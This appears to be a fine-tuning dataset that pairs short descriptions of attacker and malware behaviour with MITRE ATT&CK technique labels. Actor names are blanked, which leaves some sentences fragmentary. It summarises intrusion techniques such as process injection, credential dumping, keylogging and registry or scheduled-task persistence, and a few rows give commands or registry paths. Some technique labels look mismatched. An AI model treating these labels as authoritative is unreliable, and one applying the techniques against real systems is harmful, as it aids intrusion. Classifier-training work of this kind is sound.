has used port 80 for C2.,['T1043 - Commonly Used Port'],fine_tune
"has used ports 53, 80, 443, and 8080 for C2.",['T1043 - Commonly Used Port'],fine_tune
has used ports 8060 and 8888 for C2.,['T1571 - Non-Standard Port'],fine_tune
has used powershell.exe to download and execute scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
has used PowerShell-based tools and shellcode loaders for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
has used PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
has used PowerShell for execution and privilege escalation.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
has used PowerShell for execution of a payload.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
has used PowerShell on victim systems to download and run payloads after exploitation.,"['T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"has used PowerShell scripts for execution, including use of a macro to run a PowerShell command to decode file contents.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"has used PowerShell scripts to download and execute programs in memory, without writing to disk.","['T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
has used process hollowing in iexplore.exe to load the  implant.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
has used Putty Secure Copy Client (PSCP) to transfer data.,['T1021 - Remote Services'],fine_tune
has used Putty to access compromised systems.,['T1021 - Remote Services'],fine_tune
has used RAR to compress collected data before.,['T1560 - Archive Collected Data'],fine_tune
has used RAR to stage and compress local folders.,['T1560 - Archive Collected Data'],fine_tune
has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic.,['T1573 - Encrypted Channel'],fine_tune
has used RC4 to encrypt C2 traffic.,['T1573 - Encrypted Channel'],fine_tune
has used RDP connections to move across the victim network.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
has used RDP for.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
has used RDP to move laterally to systems in the victim environment.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
has used Registry Run keys for persistence. The group has also set a Startup path to launch the PowerShell shell command and download Cobalt Strike.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has used reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default” on a victim to query the Registry.,['T1012 - Query Registry'],fine_tune
has used regsvr32.exe to execute a server variant of  in victim networks.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
has used regsvr32 for execution.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
has used Remote Desktop Protocol to conduct lateral movement.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
has used scheduled tasks to persist on victim systems.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
has used sc query on a victim to gather information about services.,['T1007 - System Service Discovery'],fine_tune
has used several different keyloggers.,['T1056 - Input Capture'],fine_tune
has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.,['T1016 - System Network Configuration Discovery'],fine_tune
has used shell and VBS scripts as well as embedded macros for execution.,['T1064 - Scripting'],fine_tune
has used shellcode to download Meterpreter after compromising a victim.,['T1105 - Ingress Tool Transfer'],fine_tune
has used spearphishing via a link to get users to download and run their malware.,['T1204 - User Execution'],fine_tune
has used spearphishing with an attachment to deliver files with exploits to initial victims.,['T1598.002 - Spearphishing Attachment'],fine_tune
has used stolen certificates to sign its malware.,['T1553.002 - Code Signing'],fine_tune
has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor. The group has also moved laterally using the Local Administrator account.,['T1078 - Valid Accounts'],fine_tune
"has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.",['T1189 - Drive-by Compromise'],fine_tune
has used TeamViewer to preserve remote access in case control using the Cobalt Strike module was lost.,['T1108 - Redundant Access'],fine_tune
has used Technet and Pastebin web pages for command and control.,['T1102 - Web Service'],fine_tune
has used the command-line interface.,['T1059 - Command and Scripting Interpreter'],fine_tune
has used the command-line interface for execution.,['T1059 - Command and Scripting Interpreter'],fine_tune
has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.,['T1090.004 - Domain Fronting'],fine_tune
has used the Microsoft administration tool csvde.exe to export Active Directory data.,['T1087 - Account Discovery'],fine_tune
has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key HKCU\Software\Microsoft\Office test\Special\Perf to execute code.,['T1137 - Office Application Startup'],fine_tune
has used the open source tool Essential NetTools to map the network and build a list of targets.,['T1018 - Remote System Discovery'],fine_tune
has used the Plink utility to create SSH tunnels.,['T1573 - Encrypted Channel'],fine_tune
has used the Plink utility to tunnel RDP back to C2 infrastructure.,['T1573 - Encrypted Channel'],fine_tune
"has used the  RAT, which communicates over HTTP with a payload encrypted with RC4.",['T1573 - Encrypted Channel'],fine_tune
has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.,['T1546.008 - Event Triggered Execution: Accessibility Features'],fine_tune
has used the Windows command shell to execute commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
"has used  to locate PDF, Excel, and Word documents during. The group also searched a compromised DCCC computer for specific terms.",['T1083 - File and Directory Discovery'],fine_tune
has used tools to compress data before exfilling it.,['T1560 - Archive Collected Data'],fine_tune
has used tools to take screenshots from victims.,['T1113 - Screen Capture'],fine_tune
has used tools with the functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware.,['T1120 - Peripheral Device Discovery'],fine_tune
"has used valid, compromised email accounts for defense evasion, including to send malicious emails to other victim organizations.",['T1078 - Valid Accounts'],fine_tune
has used valid accounts shared between Managed Service Providers and clients to move between the two environments.,['T1078 - Valid Accounts'],fine_tune
has used valid digital certificates from Sysprint AG to sign its  dropper.,['T1553.002 - Code Signing'],fine_tune
"has used various batch scripts to establish C2, download additional files, and conduct other functions.",['T1064 - Scripting'],fine_tune
has used various forms of spearphishing attempting to get a user to open links or attachments.,['T1204 - User Execution'],fine_tune
has used various forms of spearphishing in attempts to get users to open links or attachments.,['T1204 - User Execution'],fine_tune
has used various methods of process injection including hot patching.,['T1055 - Process Injection'],fine_tune
"has used various tools to download files, including DGet (a similar tool to wget).",['T1105 - Ingress Tool Transfer'],fine_tune
has used various tools to perform credential dumping.,['T1003 - OS Credential Dumping'],fine_tune
"has used various types of scripting for execution, including .bat and .vbs scripts. The group has also used macros to deliver malware such as  and .",['T1064 - Scripting'],fine_tune
"has used VBS, VBE, and batch scripts for execution.",['T1064 - Scripting'],fine_tune
has used VBScript and JavaScript files to execute its  payload.,['T1064 - Scripting'],fine_tune
"has used  via Web shell to establish redundant access. The group has also used harvested credentials to gain access to Internet-accessible resources such as Outlook Web Access, which could be used for redundant access.",['T1108 - Redundant Access'],fine_tune
"has used Web shells, often to maintain access to a victim network.",['T1505.003 - Server Software Component: Web Shell'],fine_tune
has used Web shells to maintain access to victim websites.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
has used Windows DDE for execution of commands and a malicious VBS.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
has used WinSCP to exfiltrate data from a targeted organization over FTP.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
has used WMI event filters to establish persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
has used WMI for persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
has used XOR with 0x90 to obfuscate its configuration file.,['T1027 - Obfuscated Files or Information'],fine_tune
has utilized  during and.,['T1078 - Valid Accounts'],fine_tune
hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.,['T1102 - Web Service'],fine_tune
hides collected data in password-protected .rar archives.,"['T1560 - Archive Collected Data', 'T1486 - Data Encrypted for Impact']",fine_tune
"hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.",['T1014 - Rootkit'],fine_tune
hides many of its backdoor payloads in an alternate data stream (ADS).,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.",['T1135 - Network Share Discovery'],fine_tune
identifies and kills anti-malware processes.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
identifies a proxy server if it exists and uses it to make HTTP requests.,['T1090 - Proxy'],fine_tune
identifies files and directories for collection by searching for specific file extensions or file modification time.,['T1083 - File and Directory Discovery'],fine_tune
identifies files matching certain file extension and copies them to subdirectories it created.,['T1083 - File and Directory Discovery'],fine_tune
identifies files with certain extensions and copies them to a directory in the user's profile.,['T1074 - Data Staged'],fine_tune
identifies processes and collects the process ids.,['T1057 - Process Discovery'],fine_tune
identifies security software such as antivirus through the Security module.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
identifies the victim username.,['T1033 - System Owner/User Discovery'],fine_tune
"If an initial connectivity check fails,  attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
"If  cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.",['T1078 - Valid Accounts'],fine_tune
"If  does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number,  will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.",['T1095 - Non-Application Layer Protocol'],fine_tune
"If installing itself as a service fails,  instead writes itself as a file named svchost.exe saved in %APPDATA%\Microsoft\Network.",['T1036 - Masquerading'],fine_tune
"If running as administrator,  installs itself as a new service named bmwappushservice to establish persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
implements a command and control protocol over HTTP.,['T1071 - Application Layer Protocol'],fine_tune
"includes a capability to modify the ""beacon"" payload to eliminate known signatures or unpacking methods.",['T1027.005 - Indicator Removal from Tools'],fine_tune
includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host.,['T1113 - Screen Capture'],fine_tune
includes garbage code to mislead anti-malware software and researchers.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
infected victims using JavaScript code.,['T1064 - Scripting'],fine_tune
injects a DLL for  into the explorer.exe process.,['T1055 - Process Injection'],fine_tune
injects DLL files into iexplore.exe.,['T1055 - Process Injection'],fine_tune
injects into other processes to load modules.,['T1055 - Process Injection'],fine_tune
injects into the Internet Explorer process.,['T1055 - Process Injection'],fine_tune
injects into the svchost.exe process.,['T1055 - Process Injection'],fine_tune
injects its DLL component into svchost.exe.,['T1055 - Process Injection'],fine_tune
injects its DLL file into a newly spawned Internet Explorer process.,['T1055 - Process Injection'],fine_tune
injects itself into various processes depending on whether it is low integrity or high integrity.,['T1055 - Process Injection'],fine_tune
"injects its malware variant, , into the cmd.exe process.",['T1055 - Process Injection'],fine_tune
"inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them.",['T1001 - Data Obfuscation'],fine_tune
installation file is an unsigned DMG image under the guise of Intego’s security solution for mac.,['T1036 - Masquerading'],fine_tune
"installed its payload in the startup programs folder as ""Baidu Software Update."" The group also adds its second stage payload to the startup programs as “Net Monitor.""",['T1036 - Masquerading'],fine_tune
installer searches the Registry and system to see if specific antivirus tools are installed on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
installs a registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
installs a root certificate to aid in man-in-the-middle actions.,['T1553.004 - Subvert Trust Controls: Install Root Certificate'],fine_tune
installs a service pointing to a malicious DLL dropped to disk.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
installs itself as a new service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
installs itself under Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Invoke-Kerberoast module can request service tickets and return crackable ticket hashes.,['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],fine_tune
Invoke-TokenManipulation Exfiltration module can be used to locate and impersonate user logon tokens.,['T1134 - Access Token Manipulation'],fine_tune
Invoke-WmiCommand CodeExecution module uses WMI to execute and retrieve the output from a  payload.,['T1047 - Windows Management Instrumentation'],fine_tune
is a kernel-mode rootkit.,['T1014 - Rootkit'],fine_tune
is a PowerShell backdoor.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
is a RAT that communicates with HTTP.,['T1043 - Commonly Used Port'],fine_tune
is a rootkit that hides certain operating system artifacts.,['T1014 - Rootkit'],fine_tune
is a rootkit used by .,['T1014 - Rootkit'],fine_tune
is a simple proxy that creates an outbound RDP connection.,['T1090 - Proxy'],fine_tune
is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.,"['T1014 - Rootkit', 'T1542.001 - Pre-OS Boot: System Firmware']",fine_tune
is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.,['T1542.003 - Bootkit'],fine_tune
is a Web shell. The ASPXTool version used by  has been deployed to accessible servers running Internet Information Services (IIS).,['T1505.003 - Server Software Component: Web Shell'],fine_tune
is capable of accessing locally stored passwords on victims.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
is capable of configuring itself as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
is capable of creating a remote Bash shell and executing commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of creating a reverse shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of creating reverse shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"is capable of deleting Registry keys, sub-keys, and values on a victim system.",['T1112 - Modify Registry'],fine_tune
is capable of deleting Registry keys used for persistence.,['T1070 - Indicator Removal on Host'],fine_tune
is capable of downloading additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
"is capable of downloading additional files through C2 channels, including a new version of itself.",['T1105 - Ingress Tool Transfer'],fine_tune
"is capable of downloading files, including additional modules.",['T1105 - Ingress Tool Transfer'],fine_tune
is capable of downloading files from the C2.,['T1105 - Ingress Tool Transfer'],fine_tune
is capable of downloading remote files.,['T1105 - Ingress Tool Transfer'],fine_tune
is capable of enumerating and making modifications to an infected system's Registry.,['T1012 - Query Registry'],fine_tune
is capable of enumerating and manipulating files and directories.,['T1083 - File and Directory Discovery'],fine_tune
is capable of enumerating application windows.,['T1010 - Application Window Discovery'],fine_tune
is capable of executing commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of executing commands and spawning a reverse shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of executing commands via cmd.exe.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of file deletion along with other file system interaction.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"is capable of injecting code into the APC queue of a created  process as part of an ""Early Bird injection.""",['T1055 - Process Injection'],fine_tune
is capable of keylogging.,['T1056 - Input Capture'],fine_tune
is capable of listing contents of folders on the victim.  also searches for custom network encryption software on victims.,['T1083 - File and Directory Discovery'],fine_tune
"is capable of listing files, folders, and drives on a victim.",['T1083 - File and Directory Discovery'],fine_tune
is capable of loading executable code via process hollowing.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
is capable of logging keystrokes.,['T1056 - Input Capture'],fine_tune
"is capable of obtaining directory, file, and drive listings.",['T1083 - File and Directory Discovery'],fine_tune
is capable of opening a command terminal.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of performing directory listings.,['T1083 - File and Directory Discovery'],fine_tune
is capable of performing keylogging.,['T1056 - Input Capture'],fine_tune
is capable of performing process listings.,['T1057 - Process Discovery'],fine_tune
is capable of performing remote command execution.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of performing remote file transmission.,['T1105 - Ingress Tool Transfer'],fine_tune
is capable of performing screen captures.,['T1113 - Screen Capture'],fine_tune
is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
is capable of probing the network for open ports.,['T1046 - Network Service Discovery'],fine_tune
is capable of providing shell functionality to the attacker to execute commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of reading files over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
is capable of recording keystrokes.,['T1056 - Input Capture'],fine_tune
is capable of retrieving information about the infected system.,['T1082 - System Information Discovery'],fine_tune
is capable of spawning a Windows command shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
is capable of spreading to USB devices.,['T1091 - Replication Through Removable Media'],fine_tune
is capable of starting a process using CreateProcess.,['T1106 - Native API'],fine_tune
is capable of stealing Outlook passwords.,['T1003 - OS Credential Dumping'],fine_tune
is capable of taking an image of and uploading the current desktop.,['T1113 - Screen Capture'],fine_tune
is capable of taking screenshots.,['T1113 - Screen Capture'],fine_tune
is capable of uploading and downloading files.,['T1105 - Ingress Tool Transfer'],fine_tune
"is capable of using HTTP, HTTPS, SMTP, and DNS for C2.",['T1071 - Application Layer Protocol'],fine_tune
"is capable of using ICMP, TCP, and UDP for C2.",['T1095 - Non-Application Layer Protocol'],fine_tune
"is capable of using its command and control protocol over port 443. However, Duqu is also capable of encapsulating its command protocol over standard application layer protocols. The Duqu command and control protocol implements many of the same features as TCP and is a reliable transport protocol.",['T1095 - Non-Application Layer Protocol'],fine_tune
is capable of using Windows hook interfaces for information gathering such as credential access.,['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
is capable of writing a file to the compromised system from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
is capable of writing to a Registry Run key to establish.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
is controlled via commands that are appended to image files.,['T1001 - Data Obfuscation'],fine_tune
is digitally signed by Microsoft.,['T1553.002 - Code Signing'],fine_tune
is executed using rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"is heavily obfuscated in many ways, including through the use of spaghetti code in its functions in an effort to confuse disassembly programs. It also uses a custom XOR algorithm to obfuscate code.",['T1027 - Obfuscated Files or Information'],fine_tune
is initially packed.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"is installed via execution of rundll32 with an export named ""init"" or ""InitW.""",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.,['T1111 - Multi-Factor Authentication Interception'],fine_tune
is known to have the capability to overwrite the firmware on hard drives from some manufacturers.,['T1542.002 - Component Firmware'],fine_tune
is known to use RAR with passwords to encrypt data prior to exfiltration.,['T1486 - Data Encrypted for Impact'],fine_tune
is known to use software packing in its tools.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
is known to utilize encryption within network protocols.,['T1573 - Encrypted Channel'],fine_tune
is launched through use of DLL search order hijacking to load a malicious dll.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
is obfuscated using the obfuscation tool called ConfuserEx.,['T1027 - Obfuscated Files or Information'],fine_tune
is obfuscated using the open source ConfuserEx protector.  also obfuscates the name of created files/folders/mutexes and encrypts debug messages written to log files using the Rijndael cipher.,['T1027 - Obfuscated Files or Information'],fine_tune
is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.,['T1027 - Obfuscated Files or Information'],fine_tune
is sometimes signed with an invalid Authenticode certificate in an apparent effort to make it look more legitimate.,['T1553.002 - Code Signing'],fine_tune
is used to automate SQL injection.,['T1190 - Exploit Public-Facing Application'],fine_tune
is used to enumerate and dump information from Microsoft SharePoint.,['T1213 - Data from Information Repositories'],fine_tune
is used to execute programs and other actions at the command-line interface.,['T1059 - Command and Scripting Interpreter'],fine_tune
is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.,['T1098 - Account Manipulation'],fine_tune
is used to poison name services to gather hashes and credentials from systems within a local network.,['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],fine_tune
is used to schedule tasks on a Windows system to run at a specific date and time.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
is usually configured with primary and backup domains for C2 communications.,['T1008 - Fallback Channels'],fine_tune
is written in PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call CreateProcessAsUserA under that user's context.,['T1134 - Access Token Manipulation'],fine_tune
kills and disables services by using cmd.exe.,['T1059 - Command and Scripting Interpreter'],fine_tune
"kills and disables services for Windows Firewall, Windows Security Center, and Windows Defender.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
kills anti-virus found on the victim.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
kills security tools like Wireshark that are running.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Lateral movement can be done with  through net use commands to connect to the on remote systems.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
launched a scheduled task to gain persistence using the schtasks /create /sc command.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
launches a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
launches a script to delete their original decoy file to cover tracks.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
launches a shell to execute commands on the victim’s machine.,['T1059 - Command and Scripting Interpreter'],fine_tune
leveraged a compiled HTML file that contained a command to download and run an executable.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],fine_tune
leveraged an open-source tool called SoftPerfect Network Scanner to perform network scanning.,['T1046 - Network Service Discovery'],fine_tune
leveraged a watering hole to serve up malicious code.,['T1189 - Drive-by Compromise'],fine_tune
leveraged PowerShell to download and execute additional scripts for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
leveraged several compromised universities as proxies to obscure its origin.,['T1090 - Proxy'],fine_tune
leveraged the DDE protocol to deliver their malware.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
leveraged the tool LaZagne for retrieving login and password information.,['T1003 - OS Credential Dumping'],fine_tune
leverages a custom packer to obfuscate its functionality.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
leverages cmd.exe to perform discovery techniques.,['T1059 - Command and Scripting Interpreter'],fine_tune
"leverages legitimate social networking sites and cloud platforms (Twitter, Yandex, and Mediafire) for command and control communications.",['T1102 - Web Service'],fine_tune
"leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2.",['T1102 - Web Service'],fine_tune
leverages valid accounts after gaining credentials for use within the victim domain.,['T1078 - Valid Accounts'],fine_tune
leverages vulnerable versions of Flash to perform execution.,['T1203 - Exploitation for Client Execution'],fine_tune
likely obtained a list of hosts in the victim environment.,['T1018 - Remote System Discovery'],fine_tune
listed remote shared drives that were accessible from a victim.,['T1135 - Network Share Discovery'],fine_tune
lists files in directories.,['T1083 - File and Directory Discovery'],fine_tune
lists processes running on the system.,['T1057 - Process Discovery'],fine_tune
lists running processes.,['T1057 - Process Discovery'],fine_tune
"lists the directories for Desktop, program files, and the user’s recently accessed files.",['T1083 - File and Directory Discovery'],fine_tune
lists the running processes.,['T1057 - Process Discovery'],fine_tune
loads malicious shellcode and executes it in memory.,['T1064 - Scripting'],fine_tune
logs key strokes for configured processes and sends them back to the C2 server.,['T1056 - Input Capture'],fine_tune
logs the keystrokes on the targeted system.,['T1056 - Input Capture'],fine_tune
looks for specific files and file types.,['T1083 - File and Directory Discovery'],fine_tune
lower disable security settings by changing Registry keys.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file.,['T1204 - User Execution'],fine_tune
maintains access to victim environments by using  to access  as well as establishing a backup RDP tunnel by using .,['T1108 - Redundant Access'],fine_tune
makes modifications to open-source scripts from GitHub and executes them on the victim’s machine.,['T1064 - Scripting'],fine_tune
"makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it.",['T1204 - User Execution'],fine_tune
malicious spearphishing payloads are executed as .  has also used  during and.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution.  has also used WMIC during and post compromise cleanup activities.,['T1047 - Windows Management Instrumentation'],fine_tune
"malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords.",['T1110 - Brute Force'],fine_tune
malware attempts to determine the installed version of .NET by querying the Registry.,['T1012 - Query Registry'],fine_tune
malware can create a .lnk file and add a Registry Run key to establish persistence.,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under HKCU\Software\Microsoft\Office\.,['T1112 - Modify Registry'],fine_tune
malware can decode contents from a payload that was Base64 encoded and write the contents to a file.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
malware can download additional files from C2 servers.,['T1105 - Ingress Tool Transfer'],fine_tune
"malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.",['T1083 - File and Directory Discovery'],fine_tune
malware can list running processes.,['T1057 - Process Discovery'],fine_tune
malware can use a SOAP Web service to communicate with its C2 server.,['T1102 - Web Service'],fine_tune
malware can use process hollowing to inject one of its trojans into another process.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
malware communicates with its C2 server via HTTPS.,['T1071 - Application Layer Protocol'],fine_tune
malware creates a scheduled task entitled “IE Web Cache” to execute a malicious file hourly.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"malware deletes files in various ways, including ""suicide scripts"" to delete malware binaries from the victim.  also uses secure file deletion to delete files from the victim. Additionally,  malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
malware encrypts C2 traffic using RC4 with a hard-coded key.,['T1573 - Encrypted Channel'],fine_tune
malware gathers data from the local victim system.,['T1005 - Data from Local System'],fine_tune
"malware gathers passwords from multiple sources, including Windows Credential Vault, Internet Explorer, Firefox, Chrome, and Outlook.",['T1003 - OS Credential Dumping'],fine_tune
malware gathers system information via Windows Management Instrumentation (WMI).,['T1047 - Windows Management Instrumentation'],fine_tune
malware gathers the Address Resolution Protocol (ARP) table from the victim.,['T1016 - System Network Configuration Discovery'],fine_tune
malware gathers the registered user and primary owner name via WMI.,['T1033 - System Owner/User Discovery'],fine_tune
"malware gathers the victim's local IP address, MAC address, and external IP address.",['T1016 - System Network Configuration Discovery'],fine_tune
malware has communicated with C2 servers over port 6667 (for IRC) and port 8080.,['T1043 - Commonly Used Port'],fine_tune
malware has communicated with its C2 server over ports 4443 and 3543.,['T1571 - Non-Standard Port'],fine_tune
malware has created scheduled tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
malware has obtained the victim username and sent it to the C2 server.,['T1033 - System Owner/User Discovery'],fine_tune
"malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.",['T1082 - System Information Discovery'],fine_tune
"malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.",['T1027 - Obfuscated Files or Information'],fine_tune
malware has used HTTP and IRC for C2.,['T1071 - Application Layer Protocol'],fine_tune
malware has used HTTP for C2.,['T1071 - Application Layer Protocol'],fine_tune
malware has used Registry Run keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another  malware sample checks for the presence of the following Registry key:HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt.",['T1012 - Query Registry'],fine_tune
